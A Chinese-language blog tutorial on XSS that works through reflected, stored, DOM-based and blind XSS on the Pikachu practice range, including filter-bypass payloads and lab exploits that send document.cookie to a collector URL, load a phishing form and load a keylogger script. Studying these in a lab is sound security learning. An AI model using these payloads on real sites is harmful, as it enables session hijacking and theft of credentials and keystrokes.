WEB应用(十一)---XSS注入

什么是XSS

全称 Cross-Site Scripting,中文跨站脚本(一般是javascript语言的脚本)。 一统前后端 Node.js。

恶意代码在受害者的浏览器中执行,属于前端漏洞

产生的威胁包括窃取cookie中的用户资料、会话劫持、钓鱼欺骗等。

xss的分类:

  1. 反射型xss
  2. 存储型xss
  3. DOM型xss

反射型xss

我们先来学习一下原理:

1、攻击者构造恶意链接,用来引诱受害者来点击,恶意链接可以是以超链接的形式,首先这个网址的后端存在xss漏洞,当受害者点击的了该链接,就会访问改地址的服务器

一个网址+恶意的JS代码

2、存在该漏洞的服务器,没有进行过滤,就会直接将数据返回给受害者,其中就包含恶意的JS代码,到了受害者的浏览器上,执行该恶意代码,危害程度怎么样,就看JS代码写的什么样了

在get类型中我们可以直接在地址栏中输入JS代码,这里我直接输入kobe,可以看到地址栏中有显示,那么我们直接传入JS代码,<script>alert(111);</script>

 可以看到我写入的JS代码,浏览器执行了,当然这里就是一个演示了一个恶作剧,真正的攻击代码,远没有这么简单

 

 在POST中,先点击提示登录进去,可以直接在搜索框中输入,那为什么我没有在get中用这个方法呢,你们可以试试,接下来抓包

 

 我输入了111,修改为JS代码

 

 放行后,就会发现同样出现了弹框

 

 存储型xss

原理:和反射型xss差不多,唯一的区别是,存储型的xss会将JS代码存储到数据库中,造成一个持久性的伤害,什么样的数据会存储到数据库呢,就像我每天发布的博客,如果我在发布的博客中写入恶意的JS代码,而后端没有进行过滤,直接存储到数据库中,只要看过我这篇博客的人都会中招,还有各种视频的评论区等等

在该留言区我直接输入JS代码,提交,发现直接会弹出窗口

 当我们退出这个页面,切换其他页面,再切换回来的一瞬间,发现再一次出现弹框,可见这是一个持久性的危害

大家可以看到我在上面就已经写好了的JS代码,那为什么,大家在访问我的博客时没有出现弹框呢,这就是怎么去防范xss攻击,后端过滤将标签进行了转义,<>将他转换成了&lt,&gt以字符的形式出现在我们博客中就不会执行该代码

在PHP中有一个函数,可以将传入的参数进行修改htmlspecialchars()

DOM型xss

首先我们先来了解一下什么是DOM?

在我们之前学习JS时,就已经提到了DOM,文本对象模型(DOM),JS可以通过DOM相关的函数来动态的操作HTML元素。(什么是动态的操作呢,增加,删除,修改HTML元素的属性)

 对于漏洞产生的原因,以及漏洞的利用攻击和后端代码没有任何关系

一切的操作的是在前端完成的,这就是和反射型,储存型的区别

为了更好的理解DOM型xss注入,我们来看看pikachu靶场对应的页面,看看前端代码,注意箭头指的字符串

我来解释一下一段代码:

整段代码在一个id=xssd_main的div标签里面,并且script标签中有一个函数,我们先放到一边,先看看下面的标签,id=text的input标签,这是我们输入的内容,下面是按钮,点击后执行script标签中的函数,那么这个函数干了什么事情呢,将我们输入的值,传给str变量,str这个变量以字符串的方式去拼接到a标签的href属性中,再去写入id=dom的div标签中

我们之前在学习HTML时,a标签的href属性具有执行跳转功能,我们将恶意的代码写入将a标签闭合,再次点击what do you see?时,就会去执行我们的恶意代码

 下面我来演示一下,怎么闭合a标签,当然上面的注释的代码中也有写

我们需要去替换的是"+str+",

这个前面直接将a标签闭合,又添加了一个新的标签,并且给他了一个弹窗的功能,

'><img src="#" οnmοuseοver="alert('xss')">

这个是将href属性先闭合,有添加了一个属性,点击后有弹窗的效果

' οnclick="alert('xss')">

在pikachu靶场中还有一个DOM型xss-x,这个原理和上面的差不多,唯一的区别就是,在获取参数时,他是从url地址栏中获取的,大家可以试试,在输入111时,发现text参数接收到了111,这里构造闭合和上面是是一样的,我们发现,到这里,就和反射型xss有点像了,但是本质上还是有区别的

所以之前的防御防御方式就不可取了,需要从前端的代码入手,手动去添加一个函数,JS没有内置这样转换的函数,当然防护的措施有很多,还需要大家去不断地创新

pikachu中还有些其他的内容,但是这并不是一种新的分类,还是前面三种的其中一种

xss盲打

直接到靶场里看看,我随便输入点东西,点击提交

我们前端只有这样的一个返回,没有我们输入的内容的一个返回,根据这个返回我们可以猜测,我们前端输入的东西,提交到了后端,后端的管理员会看到我们写入的东西,那么我们输入的是恶意代码呢,就有可能会在后端进行执行,我们怎么验证呢

先输入一个恶意代码,提交

点击提示,得到后端登录地址,

当我们登录上去的那一刻就会弹出窗口

当我们每次刷新的时候都会弹出,就说明这是一个存储型xss

xss过滤

我们先随便输入点东西,我输入短

输入111

发现将我们输入东西会有所返回,我们输入<script>alert(111);</script>

发现只返回了>,

这时候我们就需要猜测,后端做了什么处理,我们就看看后端代码

可以看到这里用到了正则匹配,将<script进行了替换,HTML是对大小写没有区分的,所以,我们可以使用全是大写或者,大小写混合的方式进行绕过

<SCRIPT>alert(111);</SCRIPT>

<ScRiPt>alert(123);</ScRiPt>

当然也可以

<img src='#' οnerrοr="alert(111)">

 xss之htmlspecialchars

这个函数上面我们说过了,打开环境输入<script>alert(111);</script>

发现页面直接将我们输入的恶意代码打印在了屏幕上,并没有执行

这样的话是不是我们就没有办法xss注入了呢,并不是,这个函数默认是不会对单引号进行处理

那我们payload就可以这样写:' οnclick='alert(111)'

 xss之href输出

你们随便输入一些东西看返回,我们先直接看看源码,这里htmlspecialchars()函数后面加了参数,所以单引号也无法使用,这里提示javascript协议,payload:

javascript:alert(111)

 xss之js输出

我们先输入111,查看网页源代码,可以看到我们的输入点,这里我们怎么去构造闭合呢,先去闭合前面的script标签,再去构造自己的JS代码,payload:

111' </script><script>alert(111);</script>

下面是关于

xss的漏洞利用

coookie的窃取和利用

这原理和反射型xss一样,我们需要一个后台来接受所窃取来的cookie

点击初始化

 这里连接数据库的密码必须要正确

 等我们创建好了,登录上去,就是这样的页面,点击cookie搜集,放到一边

 目前还没有没任何信息

 我们先找到这个文件编辑,

 

 将他的地址改一下

 我们去打开反射型xss(get)环境,这里其实是有一个字符的长度限制,不知道大家有没有发现,怎么修改呢F12,点击这个黑色的小鼠标,再去点击我们文本框,这里就有一个20的限制,我们可以改一下,或者删掉,直接展示我们的payload

 当我们执行此payload页面就会跳转到首页,同时我们到后台去看看

<script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

这里就出现了相关信息

 我们可以通过抓包等,手段获取提交那一刻的url,然后进行url编码,发送给受害者

xss钓鱼

做一些准备,找到这个文件

 修改地址

 切换后台,到钓鱼

这个环境是存储型xss,我们先看看payload:
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>

 当我们去提交的时候会弹出一登录框,我们输入用户名,密码

这里我的pikachu出现了问题所以一直没出信息

xss获取键盘记录

这里先讲一个东西,出于安全的考虑,浏览器都约定了“同源策略”。同源策略规定,俩个不同域名之间不能使用JS进行相互操作,就好像是,古代的皇帝权利很大吧,但是他不能去命令四方的教皇给他做一些事情,有点抽象哈。

如果想要跨域操作,管理员需要进行特殊的配置:

header("Access-Control-Allow-Origin:*")这里的*号,就是可以让所有的域来操作我的页面,当然你可以自己去指定一个域名

不过,还有一些标签加载资源(资源类型是有限的)是不受同源策略限制的。

<script src="...">      js,加载到本地执行

<img src="..." >   图片

<link href="..." >   css

<iframe src="..." > 任意资源

假如没有同源策略,在你登录了比较重要的账户,攻击者发送了一个恶意的JS代码,那么他就可以通过恶意的JS代码来窃取的cookie,那么攻击者就可以免密登录的账户

找到这个文件

 如果你不想让跨域请求,就把他删除或注释,我们这里做演示,就留着

 编辑该目录下的JS文件,修改后端地址

打开我们的环境存储型xss,payload:

<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>

提交后,好像没什么反应,不过,你在当前页面输入一些东西,这里我输入了flag,看看后端的反应

内容先告一段落了(后面的知识跑丢了)..........

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值